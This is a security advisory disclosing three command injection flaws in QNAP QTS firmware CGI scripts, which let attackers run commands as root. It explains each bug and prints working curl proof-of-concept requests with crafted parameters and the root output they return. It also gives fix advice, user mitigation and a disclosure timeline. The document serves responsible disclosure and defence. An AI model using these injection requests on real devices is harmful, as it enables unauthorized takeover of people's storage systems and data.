1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 |
QNAP QTS multiple RCE vulnerabilities ===================================== The latest version of this advisory is available at: https://sintonen.fi/advisories/qnap-qts-multiple-rce-vulnerabilities.txt Overview -------- QNAP QTS firmware contains multiple Command Injection (CWE-77) vulnerabilities that can be exploited to gain remote command execution on the devices. Description ----------- QNAP QTS web user interface CGI binaries include Command Injection (CWE-77) vulnerabilities. An unauthenticated attacker can execute arbitrary commands on the targeted device. Impact ------ The attacker is able to execute arbitrary commands as administrative user (root). The attacker has full access to all content on the targeted device, and can read, modify or remove content at will. Details ------- The discovered vulnerabilities, described in more detail below, enable multiple independent attacks described here in brief: - Unauthenticated Remote Command Execution The unauthenticated attacker can perform HTTP requests that exploit the vulnerability to execute arbitrary commands. If the device is connected to the internet, the vulnerable devices can be taken over in an automated fashion and can then be used for further attacks. - Authenticated Remote Command Execution The authenticated attacker can perform HTTP requests that exploit the vulnerabilities to execute arbitrary commands. This gives users that normally have only restricted access to the device full administrative (root) access to the system and access to all data stored on the device regardless of the specified access limitations. Vulnerabilities --------------- 1. [CVE-2017-6361] Command Injection in authLogin.cgi <code>reboot_notice_msg' (CWE-77) /cgi-bin/authLogin.cgi CGI has a command injection bug. The following commands are executed via system(): /sbin/vjbod_util -i '%s' 1>>/dev/null 2>&1 /sbin/vdd_control "%s" %d 2>>/dev/null 2>>/dev/null The value inserted to %s is obtained from the </code>reboot_notice_msg' HTTP request GET parameter. The reboot_notice_msg is a base64 encoded message of form: QNAPVJBDTTTTTTTTCCCCCCCCCCCCCCCCLLLLPAYLOAD - TTTTTTTT is the unix time stamp (last 8 digits) - CCCCCCCCCCCCCCCC is the command to perform (Disconnect) - LLLL is the payload length - PAYLOAD is the payload contents (LLLL bytes) By creating a crafted reboot_notice_msg value, arbitrary commands can be executed. For example: QNAPVJBD88150863Disconnect14<code>(echo;id)>&2 $ curl -ki "https://TARGET/cgi-bin/authLogin.cgi?reboot_notice_msg=$(printf 'QNAPVJBD%08d%16s14<code>(echo;id)>&2</code>' $(expr $(date +%s) % 100000000) Disconnect|base64|tr -d '\r\n')" uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone) Content-type: text/xml <?xml version="1.0" encoding="UTF-8" ?> <QDocRoot version="1.0"> <command>Disconnect</command> <payload><code>(echo;id)>&2</code></payload> </QDocRoot> $ 2. [CVE-2017-6360] Command Injection in userConfig.cgi cloudPersonalSmtp <code>hash' (CWE-77) /cgi-bin/userConfig.cgi CGI has a command injection bug. The following command is executed via popen(): /sbin/cloud_util -r %s 2>/dev/null The value inserted to %s is obtained from the </code>hash' HTTP request GET parameter. An authenticated user can use a specially crafted hash parameter to execute arbitrary commands as root: $ curl -ki 'https://TARGET/cgi-bin/userConfig.cgi?func=cloudPersonalSmtp&sid=SIDVALUE&hash=<code>(echo;id;uname%20-a)>%262</code>' HTTP/1.1 200 OK Date: Sun, 26 Feb 2017 22:55:48 GMT Transfer-Encoding: chunked Content-Type: text/plain uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone) Linux TARGET 3.12.6 #1 SMP Mon Feb 13 01:43:01 CST 2017 x86_64 unknown Content-type: text/html; charset="UTF-8" Usage: /sbin/cloud_util -r [enc_token] $ 3. [CVE-2017-6359] Command Injection in utilRequest.cgi cancel_trash_recovery <code>pid' (CWE-77) /cgi-bin/filemanager/utilRequest.cgi CGI has a command injection bug. The following commands are executed via system(): /bin/kill -9 %s The value inserted to %s is obtained from the </code>pid' HTTP request GET parameter. An authenticated user can use a specially crafted pid parameter to execute arbitrary commands as root: $ curl -k 'https://TARGET/cgi-bin/filemanager/utilRequest.cgi?func=cancel_trash_recovery&sid=SIDVALUE&pid=<code>id>/tmp/pwned</code>' { "version": "4.2.1", "build": "20170213", "status": 0, "success": "true" } [~] # cat /tmp/pwned uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone) [~] # Vulnerable devices ------------------ The vulnerabilities were discovered from an QNAP TVS-663, firmware version 4.2.2 Build 20161214. They're also confirmed to work with version 4.2.3 Build 20170213. CVE-2017-6361 was also confirmed on QNAP HS-251+ running QTS 4.2.2 Build 20161028. It is believed that these vulnerabilities affect all devices running QTS. Recommendations to vendor ------------------------- 1. Fix the command injection vulnerabilities by performing proper input validation (whitelisting) and/or shell metacharacter escaping, or by utilizing execl family of functions. End user mitigation ------------------- - Install the firmware update version 4.2.4 build 20170313 or later. OR - Restrict access to the web user interface (ports 8080 and 443). Credits ------- The vulnerabilities were discovered by Harry Sintonen / F-Secure Corporation. Timeline -------- 21.01.2017discovered vulnerabilities 2 and 3 23.02.2017discovered vulnerability 1 23.02.2017reported vulnerability 1 to the vendor 26.02.2017started to write a preliminary advisory 27.02.2017sent the preliminary advisory to vendor and CERT-FI 27.02.2017requested CVE-IDs from MITRE 28.02.2017received CVE-IDs from MITRE 02.03.2017inquired status from vendor contact 02.03.2017vendor confirmed CVE-2017-6361 04.03.2017vendor confirmed the other two vulnerabilities 13.03.2017vendor communicated about a upcoming release fixing the vulns 14.03.2017vendor released QTS 4.2.4 build 20170313 fixing the vulns 15.03.2017sent update to CERT-FI 21.03.2017vendor released NAS-201703-21 advisory: https://www.qnap.com/en/support/con_show.php?cid=113 06.04.2017public release of the advisory |